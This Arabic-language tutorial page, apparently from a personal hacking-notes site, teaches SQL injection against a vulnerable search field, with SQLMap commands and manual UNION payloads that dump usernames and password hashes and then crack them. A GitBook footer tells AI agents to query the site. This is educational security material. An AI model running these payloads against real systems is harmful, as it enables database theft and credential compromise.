> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# حقن SQL باستخدام SQLMap والاختبار اليدوي

{% hint style="info" %}
أحد **حقن SQL** هي ثغرة أمنية في تطبيقات الويب تحدث عندما يتم إدراج استعلامات SQL خبيثة في حقول الإدخال للتلاعب بقاعدة بيانات أساسية. وهذا يسمح للمهاجم بالوصول إلى بيانات غير مصرح بها أو تعديلها أو تصفيتها. تقوم أدوات مثل SQLMap بأتمتة هذه العملية من خلال تحديد هذه الثغرات واستغلالها، وإجراء حقن SQL بطريقة آلية. وبدلاً من ذلك، يمكن للمهاجمين أيضًا تنفيذ هجمات حقن SQL يدويًا عن طريق التلاعب المباشر بالمدخلات للحصول على وصول غير مصرح به إلى قاعدة البيانات.
{% endhint %}

## الحقن الآلي لـ SQL (SQLMap)

1. لنلتقط طلب بحث باستخدام Burp Suite:

<figure><img src="/files/3b45f385ef6f9ed06e62a1ef2a6875d5b28dbb63" alt=""><figcaption></figcaption></figure>

2. لنحفظ هذا الطلب في ملف سنسميه **request.req**:

<figure><img src="/files/5a844acd6e0e064ae53973756dc6f941ba2c5a64" alt="" width="563"><figcaption></figcaption></figure>

3. يحتوي الملف على ما يلي **المحتويات**:

<figure><img src="/files/be92b6782e0fe414290af01d43f6ae0947a25659" alt="" width="563"><figcaption></figcaption></figure>

4. باستخدام **SQLMap** الأداة، لنشغّل الأمر التالي لمعرفة ما إذا كان هذا الموقع **المعطوب** تعرض لـ **هجوم SQL**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/96d238ff87fccb67c531a006e0d66e20eb8d8315" alt=""><figcaption></figcaption></figure>

5. بهذا الأمر، لنقم بسرد جميع **قواعد البيانات**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/bc1f194360e8e932816ddef9e895d48a5d7f731d" alt="" width="563"><figcaption></figcaption></figure>

6. بهذا الأمر، لنقم بسرد جميع **الجداول** لقاعدة بيانات محددة:

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/7a032b177f01ea0ad501baa04e415f38dd8e3a54" alt="" width="563"><figcaption></figcaption></figure>

7. بهذا الأمر، لنقم بسرد جميع **الأعمدة** لجدول محدد:

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/a98bc58e4f7c63903d5f3bf4f7ab4c4cc84a2510" alt=""><figcaption></figcaption></figure>

8. بهذا الأمر، لنعرض **المحتويات** محتويات الأعمدة:

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*إذا عثرت الأداة على كلمات مرور مشفّرة، فإنها تفك تشفيرها تلقائيًا*:

<figure><img src="/files/ee0227a7e6b0f42dacea3cd08e4e29528ff6392a" alt="" width="563"><figcaption></figcaption></figure>

***

## الحقن اليدوي لـ SQL

1. لنلتقط طلب بحث باستخدام Burp Suite:

<figure><img src="/files/3b45f385ef6f9ed06e62a1ef2a6875d5b28dbb63" alt=""><figcaption></figcaption></figure>

2. أرسل هذا الطلب إلى **Repeater**:
3. في **searchitem** حقل البحث، أضف هذا:

```bash
test' order by 100-- -
```

4. يخبرنا خادم الويب بأن هناك **ليس هناك عدد كبير من الأعمدة**:

<figure><img src="/files/b54497851b6903c4906457f6460b2dfa3acf3971" alt="" width="563"><figcaption></figcaption></figure>

5. لنحاول **حتى لا يتبقى شيء** (في هذه الحالة، يوجد 5 أعمدة):

<figure><img src="/files/ebe145a69b6af21dda9fe9e9b81a877ee55ca246" alt="" width="563"><figcaption></figcaption></figure>

6. نعلم الآن أن هناك **5 أعمدة**، والآن باستخدام **union** سوف **نعرض** إياها:

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/482c25027c5b2e45952b9290197a1f1dc366ec18" alt="" width="563"><figcaption></figcaption></figure>

* في حالة **تغيير اسم** العمود الثالث، على سبيل المثال "test"، فإنه **سيتغير أيضًا**:

<figure><img src="/files/4dba04485b16ded517c08acf3222147744ece0e8" alt="" width="563"><figcaption></figcaption></figure>

7. هذا يعني أنه إذا أدخلنا **database()** أو **user()** الدالة، فسيتم عرض **اسم قاعدة البيانات** أو **اسم المستخدم الذي يشغّل قاعدة البيانات** على الشاشة:

<figure><img src="/files/2e9f84c78f7bf672341d9e5cf1de051ce9169fff" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/14670361c9b6097146df7e8705beee85f870f4ca" alt="" width="563"><figcaption></figcaption></figure>

**فيما يلي الإجراء للقائمة اليدوية:**

1. لنقم بسرد جميع **قواعد البيانات**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/a7f96ea0179beede45fd6768729846aafd674d6d" alt=""><figcaption></figcaption></figure>

2. لنقم بسرد جميع **الجداول** لقاعدة بيانات محددة:

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/5778ae7e9c6ad72bc0c4861e757ff878290496af" alt=""><figcaption></figcaption></figure>

3. لنقم بسرد جميع **الأعمدة** لجدول محدد:

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/07942d87079a0ab7b3c1eb66b51fcf2233ff51f3" alt=""><figcaption></figcaption></figure>

4. لنعرض **محتويات عمودي username و password** (في هذه الحالة، نستخدم عمودي "product name" و "product type"):

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/54c4c2abf9f8d4ad65594cc1699eabc973f78e83" alt=""><figcaption></figcaption></figure>

* لنقم بسرد **محتويات عمودي username و password** مرة أخرى:

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/05cd59d2106d90be1dc4b2baa97bc152b11613d0" alt=""><figcaption></figcaption></figure>

5. **لننسخ المحتوى** إلى قسم Pretty في Burp Suite:

<div data-full-width="true"><figure><img src="/files/9e3b33adeb6aa583aa9270071f7e20d12b6cfbbd" alt=""><figcaption></figcaption></figure></div>

6. لنفتح **Nvim** محرر النصوص ثم الصق النص المنسوخ، ثم استخدم هذا الأمر لتنسيقه بشكل صحيح: `:%s/,//r/g`
7. بهذا الأمر، لنحتفظ فقط بالهاشات وننسخها إلى **الحافظة**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/f8f74525a05df850255a4f455bd3bb3fa6247b02" alt="" width="563"><figcaption></figcaption></figure>

8. أخيرًا، باستخدام [Hashes.com](https://hashes.com/en/decrypt/hash) الموقع، احصل على كلمات المرور بصيغة **نص عادي**:

<figure><img src="/files/696126adca3aea39e36b16dbe09ed3fe9c3c1671" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
